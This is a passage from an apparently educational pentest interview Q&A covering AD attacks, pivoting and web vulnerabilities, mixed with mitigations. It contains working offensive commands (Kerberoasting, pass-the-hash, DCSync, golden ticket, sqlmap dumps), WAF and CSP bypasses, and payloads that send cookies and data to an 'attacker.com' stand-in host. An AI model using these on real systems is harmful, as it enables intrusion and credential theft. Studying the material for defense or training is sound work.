Nmap Scripting Engine — Lua scripts grouped by category (auth, brute, default, discovery, dos, exploit, intrusive, malware, safe, version, vuln). Useful scripts: smb-os-discovery (OS via SMB), http-enum (URL enumeration), ssl-enum-ciphers (TLS audit), vuln (mass vuln checks), ftp-anon (anonymous FTP), smb-vuln-* (SMB vuln category), http-shellshock, smb2-security-mode.

Q107. Command to run an NSE vuln category scan.

```
nmap --script vuln -sV -p- target.com -oN vuln.txt
```

Q108. What is masscan and when do you use it?

Stateless asynchronous TCP port scanner — scans the entire IPv4 internet in minutes at 10M+ packets per second. Use when scope is huge (/8 or larger), or pre-discovery before nmap version scanning. Output is just open ports; pipe to nmap -sV for versions. Command: masscan -p1-65535 --rate 100000 10.0.0.0/8 -oG masscan.gnmap.

Q109. Nmap output formats: -oN, -oG, -oX, -oA.

-oN: normal human-readable. -oG: greppable (one host per line, easy to parse). -oX: XML — for tools that import. -oA <basename>: writes all three formats at once. Always run with -oA in engagements — keeps evidence in formats you might need later (XML for import to Burp/Metasploit, greppable for awk pipelines).

Q110. What is host discovery and how do you do it on a 'protected' network?

Host discovery (-Pn skips it) is determining which IPs respond. Networks may block ICMP — use TCP ACK to 80/443 (-PA), SYN to common ports (-PS22,80,443), or ARP for local subnets (default on -sn for /24). For stealth: combine ICMP, TCP ACK, and UDP probes. Final fallback: -Pn forces scan even if host appears down.

Q111. How do you banner-grab a service manually?

netcat is the classic tool. For TCP: nc target 21 (FTP), nc target 22 (SSH), nc target 25 (SMTP HELO). For HTTP: nc target 80 then type 'GET / HTTP/1.1\r\nHost: target\r\n\r\n'. For TLS: openssl s_client -connect target:443. Banners reveal versions which often lead directly to CVEs.

Q112. FTP enumeration — what do you check?

1) Anonymous login (user: anonymous, pass: any@email). 2) FTP bounce attack (PORT command pointing to internal IP — modern servers patched). 3) Banner version (vsFTPd 2.3.4 has a famous backdoor). 4) Writable directories. 5) Plaintext creds in traffic. Tools: ftp client, nmap --script ftp-anon,ftp-syst,ftp-bounce.

Q113. SSH enumeration and attack surface.

Check: version (older OpenSSH had CVEs), auth methods (PubkeyAuthentication, PasswordAuthentication), allowed users (ssh -v reveals server-side prompts), and any banner. Username enumeration vulnerabilities (CVE-2018-15473 — timing) affect old versions. Brute force usernames with hydra/medusa is noisy and usually blocked by fail2ban; key spraying with leaked keys is better.

Q114. SMB enumeration — list all techniques and tools.

1) nmap --script smb-os-discovery,smb-enum-shares,smb-enum-users. 2) smbclient -L //target -N (anonymous listing). 3) enum4linux-ng target — exhaustive Samba enum. 4) rpcclient -U '' -N target (null session). 5) crackmapexec smb target -u '' -p '' (CrackMapExec). 6) impacket-lookupsid for SID brute. 7) Bloodhound's SharpHound for AD topology if domain-joined.

Q115. What is a null session in SMB?

An anonymous connection to SMB IPC$ share that historically returned user/share/policy info. Modern Windows (Server 2008+) restricts this by default, but older servers, NAS devices, and misconfigured Samba still allow it. Test: rpcclient -U '' -N target; once connected, enumdomusers, querydominfo. Findings: usernames, password policy, group memberships.

Q116. Command to enumerate SMB shares with CrackMapExec.

crackmapexec smb 10.0.0.0/24 -u user -p 'Pass123!' --shares

Q117. What is SNMP and how do you exploit it?

Simple Network Management Protocol — UDP/161 (queries) and UDP/162 (traps). Uses community strings as auth (v1/v2c plaintext). Default communities 'public' and 'private' grant read and write. Tools: onesixtyone (community brute), snmp-check, snmpwalk -v2c -c public target. Information leak: routing tables, processes, installed software, network interfaces, even Windows usernames on misconfigured Windows hosts.

Q118. Command to brute-force SNMP communities.

```
onesixtyone -c communities.txt -i targets.txt | tee snmp-found.txt
```

Q119. Command to enumerate via SNMP once you have a community string.

snmpwalk -v2c -c public target.com 1.3.6.1.4.1.77.1.2.25 | sed 's/.*"\(.*\)"/\1/' (Windows usernames OID)

Q120. LDAP enumeration without credentials — what's possible?

Anonymous bind on misconfigured AD/LDAP can list users, groups, OUs, GPOs. Tools: ldapsearch -x -H ldap://dc.target.com -b 'DC=target,DC=com', ldapdomaindump, nmap --script ldap-search. Even authenticated with low-priv user (typical assumed-breach start), LDAP is goldmine — every user/group is readable by default. Feeds BloodHound.

Q121. What is Active Directory and what are its key components?

Microsoft's directory service. Components: Domain (logical group of objects), Forest (collection of domains), Tree (domains sharing namespace), Organizational Unit (container for delegation), Domain Controller (server hosting AD database, NTDS.dit), Schema (object types). Authentication via Kerberos primary, NTLM fallback. AD is THE central attack surface in enterprise pentests.

Q122. Explain Kerberos authentication flow.

1) AS-REQ: client sends username; KDC's AS responds with TGT encrypted with krbtgt key + session key encrypted with user's password hash. 2) TGS-REQ: client decrypts session key with password, requests service ticket presenting TGT. 3) TGS-REP: KDC issues service ticket encrypted with target service's key. 4) AP-REQ: client presents service ticket to target service. The user password never leaves the client.

Q123. What is Kerberoasting?

Attack against service accounts with SPNs (Service Principal Names). Any authenticated AD user can request a service ticket (TGS) for any SPN. The ticket is encrypted with the service account's NTLM hash — attacker captures it and brute-forces offline. Targets: SQL Server, web service accounts. Service accounts often have weak, never-rotated passwords. Tools: Rubeus, impacket-GetUserSPNs.

Q124. Command to perform Kerberoasting with impacket.

```
impacket-GetUserSPNs -request -dc-ip 10.0.0.10 target.local/user:&#x27;Pass123!&#x27; -outputfile spns.
```

Q125. Command to crack a Kerberoasted ticket with Hashcat.

```
hashcat -m 13100 spns.kerberoast /usr/share/wordlists/rockyou.txt
```

Q126. What is AS-REP Roasting?

Attack against accounts with 'Do not require Kerberos preauthentication' set. Normally AS-REQ requires the user to encrypt a timestamp with their password — without preauth, the KDC returns the AS-REP (containing material encrypted with the user's hash) to anyone who asks. Attacker brute-forces offline. Tool: impacket-GetNPUsers -no-pass.

Q127. Command to enumerate AS-REP roastable users.

```
impacket-GetNPUsers target.local/ -no-pass -usersfile users.txt -dc-ip 10.0.0.10
```

Q128. What is a Pass-the-Hash (PtH) attack?

NTLM hash can be used directly as auth without knowing the password — present the hash in the NTLM challenge-response. Attacker dumps hashes from a compromised host (LSASS, SAM, NTDS.dit) and authenticates to other hosts where the same hash is valid. Mitigation: enable Credential Guard, disable NTLM, use Protected Users group, LAPS for local admin.

Q129. Command to pass-the-hash with impacket for an interactive shell.

```
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 target.local
```

Q130. What is Pass-the-Ticket (PtT)?

Use a captured/forged Kerberos ticket (TGT or service ticket) on another machine to impersonate the user. Tools: Rubeus, mimikatz (sekurlsa::tickets /export then kerberos::ptt). Once injected, network access uses the ticket. Persists until ticket expires (default 10h for TGT).

Q131. What is a Golden Ticket attack?

Forging a Kerberos TGT using the krbtgt account's NTLM hash. The attacker can create a TGT for any user, any group (including Enterprise Admins), with arbitrary validity (default 10 years). Once krbtgt hash is known, the attacker effectively owns the forest. Mitigation: rotate krbtgt password TWICE (each rotation invalidates one previous), use tier model, monitor for ticket anomalies.

Q132. Command to create a Golden Ticket with mimikatz.

kerberos::golden /user:admin /domain:target.local /sid:S-1-5-21-... /krbtgt:<hash> /id:500 /ptt

Q133. What is a Silver Ticket attack?

Forging a service ticket (TGS) for a specific service, using that service account's hash. Less powerful than Golden (one service, not domain-wide) but quieter — doesn't touch the KDC, so no Event ID 4769. Useful for persistence to a specific service like CIFS or HTTP on a particular server.

Q134. What is BloodHound and how is it used?

Graph analysis tool that maps AD relationships and finds attack paths. SharpHound (C#) collects data from AD (users, groups, sessions, ACLs, GPOs); BloodHound (Electron app + Neo4j) visualizes it and runs queries like 'Find shortest path to Domain Admin'. Reveals nonobvious paths via group nesting, kerberoastable accounts, and dangerous ACL configurations.

Q135. Command to collect AD data with SharpHound.

```
SharpHound.exe --CollectionMethods All --OutputDirectory C:\temp
```

Q136. BloodHound — list 5 'Find...' built-in queries you regularly use.

1) Find all Domain Admins. 2) Find shortest path from owned principals to Domain Admins. 3) Find Kerberoastable accounts. 4) Find AS-REP Roastable users. 5) Find DCSync principals. Also custom Cypher: MATCH p=(n:User)-[r]->(m:Computer) WHERE r.label='HasSession' RETURN p — finds where users are logged in for hash harvesting.

Q137. What is DCSync?

An AD replication feature abused for credential theft. Any principal with 'Replicating Directory Changes' + 'Replicating Directory Changes All' rights (default: Domain Admins, Enterprise Admins, DCs) can request the password hashes of any user via MS-DRSR protocol — without touching the DC's disk or running code on it. Mimikatz lsadump::dcsync /user:krbtgt. Stealthier than dumping NTDS.dit.

Q138. Command to perform DCSync with impacket.

```
impacket-secretsdump -dc-ip 10.0.0.10 -just-dc target.local/Administrator:&#x27;Pass&#x27;@10.0.0.10
```

Q139. What is unconstrained delegation and how is it abused?

A computer/account configured for unconstrained delegation receives the FULL TGT of any user that authenticates to it. Attacker compromising such a host can extract TGTs and impersonate domain admins. Find them in BloodHound or via PowerView: Get-NetComputer -Unconstrained. Trigger: coerce a DA to authenticate (PrintNightmare, PetitPotam, SpoolSample).

Q140. What is constrained delegation and Resource-Based Constrained Delegation (RBCD)?

Constrained: account can impersonate users only to specified services. Abuse: if attacker controls the trustee, they can use S4U2Self + S4U2Proxy to impersonate any user (except Protected Users) to those services. RBCD: trust is configured on the target resource, not the trustee — and writable msDS-AllowedToActOnBehalfOfOtherIdentity by an attacker creates a delegation. Tool: Rubeus s4u, impacket-getST.

Q141. What is the Print Spooler bug (PrintNightmare/SpoolSample)?

MS-RPRN abuse: any authenticated user can coerce a target Windows host (with Print Spooler service enabled) to authenticate back to an attacker-chosen IP. Combined with unconstrained delegation or NTLM relay, leads to domain takeover. CVE-2021-1675/34527 added remote code exec. Mitigation: disable Print Spooler on DCs and member servers.

Q142. What is PetitPotam?

Similar coercion bug abusing MS-EFSRPC (encryption file system protocol). Forces a Windows host to authenticate to an attacker IP. Even after MS patches, related coercion via DFSCoerce, ShadowCoerce, FrostByte continue to surface. Always pair coercion with NTLM relay (ntlmrelayx) to AD CS web enrollment for full DA in unpatched environments.

Q143. What is NTLM relay and ntlmrelayx?

Relay NTLM auth from one victim to another service that accepts NTLM. Attacker triggers victim to auth to attacker (via SMB share, intranet site, coercion bug), then relays the auth to a target service (LDAP, SMB on another host, AD CS HTTP). Requires SMB signing OFF on target SMB, EPA OFF on LDAPS. impacket-ntlmrelayx -t ldap://dc -smb2support.

Q144. What is Responder and how is it different from ntlmrelayx?

Responder is an LLMNR/NBT-NS/MDNS poisoner — when a Windows host queries for a misspelled hostname (typo'd file share), Responder claims to be that host and captures the NTLM hash. Responder.py -I eth0 -wrf. Captures NetNTLMv2 hashes for offline cracking, or pair with ntlmrelayx (Responder.conf SMB=Off HTTP=Off → relayx listens) for live relay attacks.

Q145. Mitigations against Responder / NTLM relay.

1) Disable LLMNR/NBT-NS via GPO (Computer Config > Admin Templates > Network > DNS Client > Turn off Multicast Name Resolution). 2) Disable WPAD. 3) Enable SMB signing on ALL hosts (not just DCs). 4) Enable LDAP channel binding and signing. 5) Enable EPA (Extended Protection for Authentication) on HTTP/LDAPS. 6) Move to Kerberos-only auth where possible.

Q146. What is ADCS (AD Certificate Services) abuse?

AD CS template misconfigurations let any user request a cert as another user (ESC1-ESC8 in Certified Pre-Owned paper). Most famous: ESC1 (template allows enrollee-supplied subject), ESC8 (NTLM relay to AD CS HTTP enrollment). Tools: Certify, Certipy. Result: full domain takeover. Mitigation: audit cert templates, disable HTTP enrollment, enable EPA.

Q147. Command to enumerate vulnerable AD CS templates with Certipy.

certipy find -u user@target.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout

Q148. What is LAPS and why does it matter?

Local Administrator Password Solution — Microsoft tool/GPO that sets a unique, randomized local admin password on every domain-joined machine and stores it in AD (ms-Mcs-AdmPwd attribute). Read access controlled by ACL. Defeats Pass-the-Hash lateral movement using a single shared local admin password. Pentest finds: LAPS not deployed, or all users can read the ms-Mcs-AdmPwd attribute.

Q149. Mitigation list for Active Directory hardening.

1) Tier model (Tier 0=DCs/AD admins, Tier 1=servers, Tier 2=workstations — no cross-tier creds). 2) Protected Users group for sensitive accounts. 3) Disable NTLM where possible; enable signing. 4) Deploy LAPS for local admin. 5) MFA for privileged accounts. 6) Rotate krbtgt twice on a schedule. 7) Disable Print Spooler on DCs. 8) Audit cert templates. 9) Limit DCSync rights. 10) Continuous monitoring (BloodHound CE, ATA/Defender for Identity).

Q150. How do you capture traffic with tcpdump?

Listen on interface, write to file, no DNS resolution.

```
sudo tcpdump -i eth0 -w capture.pcap -n -s 0 &#x27;port 80 or port 443&#x27;
```

Q151. Wireshark display filter examples — 5 useful ones.

1) http.request.method == "POST" — POST requests only. 2) tcp.stream eq 5 — follow stream 5. 3) ip.addr == 10.0.0.5 — traffic to/from a host. 4) tcp.port == 445 && tcp.flags.syn == 1 — SMB SYN probes. 5) frame contains "password" — frames with the word password.

Q152. How do you extract files from a pcap?

Wireshark: File > Export Objects > HTTP/SMB/FTP/TFTP. CLI: tcpflow -r capture.pcap or networkminer (great GUI). For TLS, you need the session keys (set SSLKEYLOGFILE before capture) or RSA private key of the server.

Q153. What is ARP spoofing and how is it performed?

Sending forged ARP replies to associate the attacker's MAC with another host's IP, causing traffic redirection (MitM). Tools: arpspoof (dsniff), bettercap, ettercap. Command: bettercap -iface eth0 then 'set arp.spoof.targets 10.0.0.5,10.0.0.1; arp.spoof on'. Mitigation: dynamic ARP inspection (DAI) on switches, DHCP snooping, IPv6 SLAAC alternatives.

Q154. What is DNS spoofing/poisoning?

Returning forged DNS responses to redirect targets to attacker-controlled IPs. On LAN: combine with ARP spoof and run a DNS responder (Responder.py, ettercap dns_spoof plugin, bettercap dns.spoof). Remote: cache poisoning (Kaminsky-style, now mitigated by DNSSEC, randomized source ports). Modern defense: DoH, DoT, DNSSEC.

Q155. What is SSL/TLS stripping?

Downgrade attack — MitM serves the victim plain HTTP while talking HTTPS to the real server. Works because most users type 'bank.com' (HTTP) before being redirected to HTTPS. Tools: sslstrip, sslstrip2. Mitigation: HSTS with preload, HTTPS-everywhere browsers, certificate pinning. Modern browsers (Chrome 90+) try HTTPS first, mostly neutralizing this attack.

Q156. Common ports and what runs on them (top 20).

21 FTP, 22 SSH, 23 Telnet, 25 SMTP, 53 DNS, 67/68 DHCP, 80 HTTP, 88 Kerberos, 110 POP3, 111 RPCbind, 123 NTP, 135 MSRPC, 137-139 NetBIOS, 143 IMAP, 161 SNMP, 389 LDAP, 443 HTTPS, 445 SMB, 464 Kerberos pw change, 465 SMTPS, 500 IKE, 514 syslog, 587 SMTP submission, 636 LDAPS, 873 rsync, 993 IMAPS, 995 POP3S, 1433 MSSQL, 1521 Oracle, 2049 NFS, 3306 MySQL, 3389 RDP, 5432 PostgreSQL, 5985/5986 WinRM, 5900 VNC, 6379 Redis, 8080/8443 alt HTTP(S), 9200 Elasticsearch, 11211 Memcached, 27017 MongoDB.

Q157. What is pivoting? Why do you do it?

Pivoting is using a compromised host as a stepping stone to reach networks/hosts that aren't directly accessible from the attacker's machine — e.g., compromised web server in DMZ has access to internal DB subnet. Pivoting routes attacker traffic through the foothold. Techniques: SSH tunnels, Metasploit autoroute + portfwd, sshuttle, chisel, ligolo-ng.

Q158. What is SSH local, remote, and dynamic port forwarding?

Local (-L): map local port to remote host:port through SSH server (forward access to a remote service via attacker's localhost). Remote (-R): make a port on the SSH server forward back to attacker (used when attacker behind NAT). Dynamic (-D): SOCKS proxy on local port routing all TCP through the SSH server (turns SSH into a VPN-lite). Example: ssh -D 1080 user@pivot. Then proxychains nmap target.

Q159. Command for SSH dynamic SOCKS proxy + use it.

Start dynamic forward via SSH, then route any tool through proxychains.

```
ssh -D 1080 -N -f user@pivot.target.com
echo &#x27;socks5 127.0.0.1 1080&#x27; &gt;&gt; /etc/proxychains.conf
proxychains nmap -sT -Pn -p- 10.10.10.5
```

Q160. What is chisel and when do you use it?

Fast TCP/UDP tunnel over HTTP/WebSocket, written in Go. Single binary, works through firewalls allowing only HTTP(S). Server on attacker, client on victim (or vice versa). Replaces SSH in environments where SSH outbound is blocked but HTTPS is allowed. Example: ./chisel server -p 8000 --reverse on attacker; ./chisel client attacker:8000 R:socks on victim.

Q161. What is ligolo-ng?

Modern pivoting tool with a TUN interface — exposes the remote network as a routable interface on attacker (no proxychains needed). Faster than chisel for many flows, supports UDP cleanly. Workflow: ligolo proxy on attacker creates TUN; agent on victim connects; attacker adds routes to remote subnets via the TUN. Standard in modern OSCP/red team labs.

Q162. Metasploit autoroute and portfwd — what do they do?

After a Meterpreter session, run autoroute -s 10.10.10.0/24 to add a route through that session for all Metasploit modules. portfwd add -l 3306 -p 3306 -r 10.10.10.5 forwards local 3306 to the remote DB through the session — letting you connect with mysql client to 127.0.0.1:3306 as if on victim's network.

Q163. Command to perform a TCP port-forward via SSH for an internal RDP.

```
ssh -L 3389:internal-host:3389 user@pivot.target.com — then RDP to 127.0.0.1:3389
```

CHAPTER 04

Web Application Pentesting

OWASP Top 10
Burp
XSS/SQLi/SSRF
Logic Flaws

Chapter 04 — Web Application Pentesting

OWASP Top 10 | Burp | XSS/SQLi/SSRF | Logic Flaws

Q171. What is Burp Suite and what are its core modules?

Burp is the industry-standard web app pentest proxy. Core modules: Proxy (intercept/modify HTTP), Repeater (manual request replay/modification), Intruder (automated request fuzzing/brute force), Decoder (encoding/decoding), Comparer (diff responses), Sequencer (analyze token randomness), Collaborator (out-of-band interactions for SSRF/OOB), Scanner (Pro only, automated vuln finding), and BApp Store (extensions).

Q172. Difference between Burp Community, Professional, and Enterprise.

Community: free, no scanner, manual tools only, slow Intruder, no save/load. Professional: paid ($475/yr), full scanner, fast Intruder, Collaborator, extensions, save state. Enterprise: server-based for CI/CD scanning, scheduled scans, dashboards — different use case from Pro. Most pentesters use Pro daily.

Q173. Walk me through configuring Burp to intercept HTTPS browser traffic.

1) Run Burp; default proxy listener on 127.0.0.1:8080. 2) Configure browser proxy to that address (use Foxy Proxy or Firefox/Chromium). 3) Visit http://burp; download Burp's CA cert (cacert.der). 4) Import the cert into the browser's trust store (Firefox: Settings > Certs > Import; Chrome: OS trust store). 5) Now HTTPS sites trust Burp's MitM cert and interception works.

Q174. What is the most useful Burp extension you use?

Top picks: 1) Logger++ — searchable history. 2) Autorize — automated authorization testing (compare role A vs role B response). 3) Param Miner — discovers hidden HTTP parameters via guessing common names. 4) Active Scan++ — extends the scanner. 5) JWT Editor / JSON Web Tokens — manipulate JWTs. 6) Turbo Intruder — high-speed Intruder for race conditions. 7) Hackvertor — chained encoding/decoding.

Q175. What is OWASP ZAP and how does it compare to Burp?

OWASP Zed Attack Proxy — free, open-source web pentest proxy. Comparable to Burp Pro's scanner, with active/passive scanning and fuzzing. Strengths: free, scriptable in JavaScript/Python, headless mode for CI/CD. Weaknesses: less polished UI, smaller extension ecosystem, slower than Burp for interactive work. Many use ZAP for automation and Burp for manual.

Q176. What does Burp Intruder's 'attack types' do — Sniper vs Battering Ram vs Pitchfork vs Cluster Bomb?

Sniper: one payload set, replaced into one position at a time (single-param fuzzing). Battering Ram: same payload across multiple positions simultaneously. Pitchfork: multiple payload sets, one each per position, iterated in lock-step (1:1). Cluster Bomb: multiple payload sets, every combination across positions (Cartesian product — heavy traffic). Cluster Bomb for credential brute (users × passwords); Pitchfork when params relate.

Q177. What is Burp Collaborator?

An out-of-band server hosted by PortSwigger (or self-hosted) that catches DNS/HTTP/SMTP interactions from a target. You insert a Collaborator URL into a payload (e.g., XXE, SSRF, blind XSS), and if the target connects, Burp records it. Essential for blind vulnerabilities where the target doesn't echo errors back. Polls every 60s by default; URLs look like xyz.oastify.com.

Q178. Explain the HTTP request structure.

Request line (method + URI + HTTP version), headers (key:value pairs — Host, User-Agent, Cookie, Authorization, Content-Type, etc.), blank line, optional body. Example: 'POST /login HTTP/1.1' then 'Host: target.com', 'Content-Type: application/x-www-form-urlencoded', blank line, 'user=admin&pass=test'.

Q179. Difference between safe, idempotent, and cacheable HTTP methods.

Safe (read-only): GET, HEAD, OPTIONS. Idempotent (multiple identical requests = same result): GET, HEAD, PUT, DELETE, OPTIONS — but NOT POST or PATCH. Cacheable: typically GET and HEAD. CSRF protection often relies on POST being non-idempotent for state changes — though that's a weak defense.

Q180. List 10 important HTTP security response headers.

1) Strict-Transport-Security (HSTS). 2) Content-Security-Policy (CSP). 3) X-Frame-Options. 4) X-Content-Type-Options: nosniff. 5) Referrer-Policy. 6) Permissions-Policy (formerly Feature-Policy). 7) Cross-Origin-Opener-Policy (COOP). 8) Cross-Origin-Embedder-Policy (COEP). 9) Cross-Origin-Resource-Policy (CORP). 10) Cache-Control: no-store for sensitive responses.

Q181. What is CORS and how is it misconfigured?

Cross-Origin Resource Sharing — browser mechanism allowing controlled cross-origin requests via Access-Control-Allow-Origin (ACAO) and Access-Control-Allow-Credentials (ACAC). Misconfigurations: ACAO: * with ACAC: true (browsers block but custom clients don't), ACAO reflecting the Origin header unchecked, allowing null origin, allowing http:// when site is https. Result: cross-origin data theft when victim has auth cookies.

Q182. How does same-origin policy work?

Browsers restrict scripts from reading data across origins (scheme + host + port). 'https://a.com:443' and 'http://a.com:80' are different origins. SOP prevents site B from reading site A's content via XHR/fetch. CORS, postMessage, JSONP are the controlled bypasses. Not absolute — embedded resources (img, script, iframe) load cross-origin but JavaScript can't read their content.

Q183. What are cookie attributes and what do they protect against?

HttpOnly: blocks JavaScript access (mitigates XSS-based cookie theft). Secure: only sent over HTTPS. SameSite=Lax/Strict/None: blocks CSRF for cross-site requests; Strict is strongest, None requires Secure. Path/Domain: scope cookies. __Secure-/__Host- prefixes: enforce Secure attribute. Modern best practice: HttpOnly + Secure + SameSite=Lax (Strict for sensitive).

Q184. Explain the three types of XSS.

Reflected: payload in request is echoed in response (search query echoed in 'No results for X'). Stored: payload saved (DB, file) and served to other users (forum post, profile bio). DOM-based: JavaScript reads from a source (location.hash) and writes to a sink (innerHTML) — payload never touches the server. A fourth, Blind XSS, is stored XSS whose execution context is hidden (admin panel) — use Collaborator-style callbacks.

Q185. Show a basic reflected XSS payload and explain.

<script>alert(document.domain)</script> in a URL parameter that's echoed unencoded. document.domain in the alert proves it executed in the target's origin. For a less noisy proof: <img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>. Modern apps mostly defeat this with autoescaping templates; the bug is when raw HTML is written or sinks like innerHTML are used.

Q186. What are XSS sources and sinks?

Sources (where attacker-controlled data enters JS): location, location.hash, location.search, document.URL, document.referrer, window.name, postMessage data, localStorage/sessionStorage. Sinks (where data executes as code/HTML): innerHTML, outerHTML, document.write, eval, setTimeout(str), setInterval(str), <script>.src, jQuery $().html(), insertAdjacentHTML, Function constructor, location.href= (for javascript: URLs).

Q187. How do you bypass XSS filters that block <script>?

Event handlers: <img src=x onerror=alert(1)>, <svg onload=alert(1)>, <body onload>. Tag variations: <iframe srcdoc='<script>alert(1)</script>'>. Encoding tricks: <script> (HTML entities — decoded in HTML context), %3Cscript%3E (URL encoded — decoded in URL context). Polyglots like <svg/onload=alert`1`>. PortSwigger XSS cheatsheet is the comprehensive ref.

Q188. What is DOM XSS and how do you find it?

Sink in JavaScript reads attacker data without sanitization. Find by: 1) Inspect JS for known sinks (search innerHTML, eval, document.write). 2) Trace back to source. 3) Send a probe payload to the source (e.g., set location.hash to '<img src=x onerror=alert(1)>') and observe. Tools: DOM Invader (Burp's built-in), retire.js for vulnerable libs, Snuffleupagus dynamic taint analysis.

Q189. What is Stored XSS and what makes it more dangerous?

Payload persisted server-side and served to other users. More dangerous because: 1) No user interaction needed beyond visiting a normal page. 2) Affects any visitor, including admins. 3) Persists until removed. Classic example: comment field with HTML allowed. Admin views the comment in their dashboard, attacker hijacks admin session.

Q190. What is Blind XSS? How do you test for it?

Stored XSS whose payload executes in a context invisible to the attacker — admin panel, customer support ticket viewer, log viewer. Test by injecting payloads that beacon home: <script src=//xss.ht/abc123></script> (XSS Hunter or self-hosted equivalents like KNOXSS, Burp Collaborator). Capture cookie, screenshot, referrer when the admin views the entry.

Q191. How does Content Security Policy (CSP) mitigate XSS?

CSP is a server-sent header telling the browser which sources of scripts/styles/etc. are allowed. Example: 'Content-Security-Policy: script-src 'self' https://cdn.target.com'. Blocks inline scripts (default), eval, and external scripts not in the whitelist. Effective against most XSS but bypasses exist: nonce reuse, JSONP endpoints in whitelist, AngularJS sandbox escape, base-uri abuse.

Q192. Common CSP bypasses.

1) JSONP in whitelist: <script src='whitelist.com/jsonp?cb=alert(1)//'>. 2) AngularJS bypass via {{constructor.constructor('alert(1)')()}}. 3) base-uri injection if base-uri not set. 4) script-src 'unsafe-inline' (defeats purpose). 5) Path-based CSP bypass via open redirects in whitelist. 6) data: URIs if allowed. 7) Cloudflare/jsdelivr file upload abuse. CSP Evaluator (Google) tool checks for these.

Q193. What is XSS in the context of frameworks like React/Vue/Angular?

Modern frameworks auto-escape by default. Bypasses: dangerouslySetInnerHTML (React), v-html (Vue), bypassSecurityTrustHtml (Angular). Also URL-bound bindings (href={userInput}) allow javascript:alert(1). Server-side rendering can reintroduce traditional XSS if templates aren't context-aware. Audit usage of these escape hatches.

Q194. What is the impact of XSS beyond cookie theft?

Session hijacking (if cookies not HttpOnly), keylogging, form action redirection, fake login overlays, CSRF token theft, full account takeover via password reset, browser-based crypto miners, lateral attacks (BeEF), and chained attacks like XSS-to-RCE on Electron apps. Stored XSS in admin panels often equals admin compromise.

Q195. Explain the types of SQL injection.

1) In-band — error-based (DB errors leak data), union-based (UNION query returns data alongside legit). 2) Inferential (blind) — boolean-based (true/false response infers data bit-by-bit), time-based (sleep delays infer data). 3) Out-of-band — DB exfils data via DNS/HTTP (e.g., MS SQL xp_dirtree, MySQL load_file in select). Choice depends on what response you see; most modern apps lack visible errors so blind is common.

Q196. Show a Union-based SQLi extraction example.

Step 1: Find column count: ' UNION SELECT NULL,NULL,NULL-- (try until no error). Step 2: Find printable columns: ' UNION SELECT 'a','b','c'-- (which echoes?). Step 3: Extract: ' UNION SELECT username,password,NULL FROM users--. Step 4: Schema: ' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--.

Q197. How do you detect SQLi when error messages are suppressed?

1) Boolean-based: compare responses to true (' AND 1=1--) vs false (' AND 1=2--). 2) Time-based: ' AND SLEEP(5)-- in MySQL, '; WAITFOR DELAY '0:0:5'-- in MSSQL. 3) Out-of-band: ' UNION SELECT load_file(CONCAT('\\\\',(SELECT pass FROM users LIMIT 1),'.attacker.com\\foo'))-- (Windows MySQL). 4) Header injection: tampering User-Agent, Referer, X-Forwarded-For. Burp Collaborator helps for OOB.

Q198. How does sqlmap work and what are its key flags?

Automated SQLi tool — detects and exploits via heuristics + crafted payloads, dumps data via union/blind/time-based, supports many DBMSs. Key flags: -u 'url' --data='param=val' --cookie='', --level=5 --risk=3 (more aggressive), --dbs (list databases), --tables -D db, --dump -T users -D db, --batch (no interactive), --tamper=<script> (WAF bypass), --os-shell (DB->OS code exec where possible).

Q199. Command to run sqlmap against a parameter and dump a table.

```
sqlmap -u &#x27;https://target.com/products?id=1&#x27; --batch --dbs --tables --dump -D shop -T users
```

Q200. How do you bypass WAFs for SQLi?

1) Comment variations: /**/, /*!50000... */ (MySQL versioned comments execute on 5.0+). 2) Case mixing: SeLeCt. 3) Whitespace bypass: %0A, %09 (tab), comments instead of spaces. 4) Encoding: URL, double URL, Unicode (%u00xx for IIS), hex (CHAR(116)+CHAR(101)). 5) String concat: 'adm'||'in' or CONCAT or %2b. 6) Logical equivalents: AND→&&, =→LIKE, OR→||. sqlmap --tamper=between,space2comment,charunicodeencode.

Q201. What is second-order SQL injection?

Payload is stored cleanly (e.g., a username 'admin'--' on registration) and triggered later when used in another query unsafely. Hard to detect with scanners that look for immediate reflection. Find by setting unique injection markers in every user-controllable field, then exercising functionality that reads those fields and checking for behavior.

Q202. How do you prevent SQL injection?

1) Parameterized queries / prepared statements with bound parameters (PRIMARY defense). 2) ORM frameworks (used correctly — raw queries still vulnerable). 3) Stored procedures (with caution — still vulnerable if dynamic SQL inside). 4) Input validation as defense-in-depth (allow-list, not deny-list). 5) Least-privilege DB users (web user can't DROP). 6) WAF (last line, not primary). NEVER concatenate user input into queries.

Q203. What is NoSQL injection? Example for MongoDB.

Injection in NoSQL databases. MongoDB example: a JSON login API expects {username:'a',password:'b'}. Attacker sends {username:'admin', password:{'$ne':null}} — '$ne' (not equal) operator returns the document where any password exists, bypassing auth. Other operators: $gt, $regex, $where (allows JavaScript execution on old MongoDB).

Q204. MongoDB $where injection example.

If query allows $where with user input: {$where: 'this.password == '' + userInput + ''}. Attacker injects: ''; return true; //' → {$where: 'this.password == ''; return true; //''} which makes the JS always return true. Mitigation: never use $where with user input; use $eq instead.

Q205. What is SSRF (Server-Side Request Forgery)?

Vulnerability where the server fetches a URL supplied by the user, letting the attacker make requests on the server's behalf — to internal services (169.254.169.254 cloud metadata, internal admin panels, localhost services), or to weaponize the server as a proxy. Common entry points: webhook URL, image fetch, PDF generator, URL preview, file import.

Q206. Show a basic SSRF detection payload.

If a URL parameter (e.g., ?url=https://example.com/image.png) is fetched server-side, replace with: 1) http://127.0.0.1/, 2) http://localhost:22 (does the response indicate SSH banner?), 3) http://attacker-collaborator-url (does Burp Collaborator log a hit?), 4) file:///etc/passwd (some libs allow file://). Look for response differences and OOB callbacks.

Q207. What is the cloud metadata SSRF and what makes it severe?

AWS EC2 metadata service at 169.254.169.254 returns instance role credentials when queried — IMDSv1 unauthenticated. SSRF lets attacker grab these and impersonate the EC2's IAM role across AWS. Equivalents: Azure metadata 169.254.169.254 (requires header), GCP metadata.google.internal (requires Metadata-Flavor: Google). Mitigation: IMDSv2 (token-required), VPC endpoints, network policies.

Q208. Show the AWS metadata endpoint payload chain.

